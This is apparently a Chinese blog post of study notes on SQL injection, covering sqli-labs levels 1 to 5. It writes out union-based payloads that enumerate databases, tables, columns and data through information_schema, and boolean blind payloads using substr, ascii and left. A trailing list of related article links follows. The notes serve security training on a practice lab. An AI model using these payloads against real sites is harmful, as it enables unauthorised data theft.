sql注入——day01
基本的
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where
table_schema = '数据库名'
查列:select column_name from information_schema.columns where
table_name='表名'
查字段:select 字段名 form 数据库.表名
记得加注释符-- +
sqli_labs 1
1 ?id=1'用单引号或and,or测试注入点,显示sql错误则可以注入。
2 确定注入点后用order by确定列数,超出列数会报错。
3 union select 1,2,3确定回显位。前半段语句必须为假。
4 确定回显位后开始查询想要的数据,将要查的数据替换回显位。
5 union select 1,2,schema_name from information_schema.schemata
//显示查的库,但是只能显示第一个,一个一个看的话用limit 1,1控制偏移量
6 union select 1,2,group_concat(schema_name) from information_schema.schemata
//虽然只能显示一行,但是group_concat()可以将该查询到的结果拼接在一起,一行就全展示完。
7 //找出库后找表
union select 1,2,group_concat(table_name) from information_schema.tables
where table_schema = '数据库名' //涉及单引号的字符串,建议直接前加0x再将其转化为16进制
8 //找出表后查字段
union select 1,2,group_concat(column_name) from information_schema.columns
where table_name = '表名'
9 //找出字段后取数据
union select 1,2,group_concat(字段名) from 数据库名.表名
//如果回显位有限可以用concat_ws('~',字段A,字段B) 显示效果 字段A~字段B
union select 1,2,group_concat(concat_ws('~',字段A,字段B)) from 数据库名.表名
//用group_concat包裹可以全部显示
sqli_labs 2
第二关只是id变成了数值型,未用单引号包裹,其余步骤和第一关相同
sqli_labs 3
第三关根据加单引号显示的报错信息确定id是被('')包裹,所以改成?id=1')--+即可其余步骤和第一关相同
sqli_labs 4
第四关与第三关类似用单引号试错未报错,继续用双引号测试根据报错,发现id是被("")包裹
其余步骤和第一关相同
补充知识
1. left()函数: left(database(),1)='s' left(a,b)从左侧截取a的前b位,正确则返回1,错误则返回0
2. regexp函数: select user() regexp 'r' user()的结果是root,regexp为匹配root的正则表达式
3. like函数: select user() like 'ro%' 匹配与regexp相似。
4. substr(a,b,c) select substr(a,b,c) substr(a,b,c)从位置b开始,截取a字符串c位长度
5. ascii() 将某个字符串转化为ascii值
6. chr(数字) 或者是ord('字母') 使用python中的两个函数可以判断当前的ascii值是多少
对于security数据库:
select left(database(),1)='s'; 前1位是否是s
select database() regexp 's'; 匹配第一个字符是否是 s
select database() like 's%'; 匹配第一个字符是否是 s
select substr((select database()),1,1)='s'; 匹配第一个字符是否是 s
select substr((select database()),1,3)= 'sec'; 匹配前三个个字符是否是 sec
select ascii(substr((select database()),1,1)); 直接回显115 或者是:
select ascii(substr((select database()),1,1)) > 110; 如果大于110,就会返回1,否则返回0.
sqli_labs 5
页面只返回是和否,典型的布尔盲注,通过补充知识里的函数不断测试来获取信息
1 ?id=1'用单引号判断能否注入
2 还是利用order by确定列数,判断列数不需要回显根据页面返回提示即可确定列数
3 ?id=1' and left((select database()),1)='s'--+开始猜数据库的名字
4 ?id=1’ and ascii(substr((select schema_name from information_schema.schemata limit 1,1),1,1)) >100--+
//这是第一个数据名字的第一个字符,后续的表名,字段以及数据名均可用这样的方法以及上面的其它函数进行猜解,
人工猜字符ascii时最好用二分法
sql注入——day01相关推荐
- php mysql 防 sql注入_php 防sql注入方法
php防sql注入的方法:1.使用mysql_real_escape_string方法转义SQL语句中使用的字符串中的特殊字符:2.打开magic_quotes_gpc来防止SQL注入:3.通过自定义 ...
- resultset mysql_MySQL数据库学习笔记(九)----JDBC的ResultSet接口(查询操作)、PreparedStatement接口重构增删改查(含SQL注入的解释)...
[声明] 欢迎转载,但请保留文章原始出处→_→ [正文] 一.ResultSet接口的介绍: 对数据库的查询操作,一般需要返回查询结果,在程序中,JDBC为我们提供了ResultSet接口来专门处理查 ...
- mybaits的模糊查询_mybatis模糊查询防止SQL注入(很详细)
SQL注入,大家都不陌生,是一种常见的攻击方式.攻击者在界面的表单信息或URL上输入一些奇怪的SQL片段(例如"or '1'='1'"这样的语句),有可能入侵参数检验不足的应用程序 ...
- SQL注入漏洞全接触--入门篇
随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多.但是由于这个行业的入门门槛不高,程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进 ...
- Sql注入和Html注入
举例说,有一间公司的网页服务器上有一个留言板的代码,用来让用户发表简短的口信,例如: hello word!!!! 不过,这个代码原来有漏洞.一个意图入侵者得悉这间公司采用了有问题的代码,于是试图通过 ...
- mysql注入实例获取答案_本文实例讲述了MySQL解决SQL注入的另类方法。分享给大家供大家参考,具体如下:问题解读我觉得,这个问题每年带来的成本可以高达数十亿美元了。本文就来谈谈,...
本文实例讲述了MySQL解决SQL注入的另类方法.分享给大家供大家参考,具体如下: 问题解读 我觉得,这个问题每年带来的成本可以高达数十亿美元了.本文就来谈谈,假定我们有如下 SQL 模板语句: se ...
- 【数据库】 兴唐第二十七节课只sql注入
首先来一个用户登录程序 public static void login(String username, String password) {Connection conn = null;State ...
- 雷林鹏分享:MySQL 及 SQL 注入
MySQL 及 SQL 注入 如果您通过网页获取用户输入的数据并将其插入一个MySQL数据库,那么就有可能发生SQL注入安全的问题. 本章节将为大家介绍如何防止SQL注入,并通过脚本来过滤SQL中注入 ...
- WEB攻击手段及防御第2篇-SQL注入
概念 SQL注入即通过WEB表单域插入非法SQL命令,当服务器端构造SQL时采用拼接形式,非法SQL与正常SQL一并构造并在数据库中执行. 简单的SQL注入的例子: 例1:test123456 or ...
最新文章
- 网易有道词典笔 —— 73 岁“人类高质量”奶奶梅耶马斯克的中文学习之选
- 美国旧金山之行第一天
- 不同文件系统类型及其修复
- 后盾网lavarel视频项目---2、phpstorm显示类中的方法快捷键
- __cdecl __fastcall与__stdcall
- 半年内使用两次借呗就没法申请房贷?
- 服务器php 启动命令_服务端的cli方式运行
- cmake The source directory xxxx does not appear to contain CMakeLists.txt
- python3所支持的整数进制_Python3快速入门(三)——Python3标准数据类型
- libtorch和torchvision的编译安装
- win 8 远程桌面的问题
- 【官方速报】Pika3.0正式发布
- Android Studio Design界面不显示layout控件的解决方法
- Linux服务器安装JavaWeb环境(四) Sentinel,Xxl-Job,Seata
- [转载] 在IDEA中将SpringBoot项目打包成jar包的方法
- Thymeleaf 教程
- 小米为何要死磕某国产手机企业?这是多年被压迫下的反击
- 接入微信提现Api(企业付款到零钱--向微信用户个人付款)
- vue 前端传图片文件,后端接收
- 【MAX7800羽毛板更新固件及下载bug修复】
热门文章
- C语言 输入一个字符串,统计字符个数,并按照倒序输出该字符串。
- linux字符设备文件的打开操作,Linux字符设备驱动模型之字符设备初始化
- 双11,如果数据中心断网断电会怎样?
- 网络管理:3分钟排障秘技,一招胜过十年功 | 文末有彩蛋
- 菲律宾达沃照明和电力公司的数据中心发生火灾
- 票务系统思维导图_最全思维导图分享,告诉你如何系统的学好软件测试。
- github 删除分支_Github新手入门指南
- Python:列表、集合等交集、并集、差集、非集简介及其代码实现之详细攻略
- DL:The development history of the important stage of DL
- PIL图像处理开发极简教程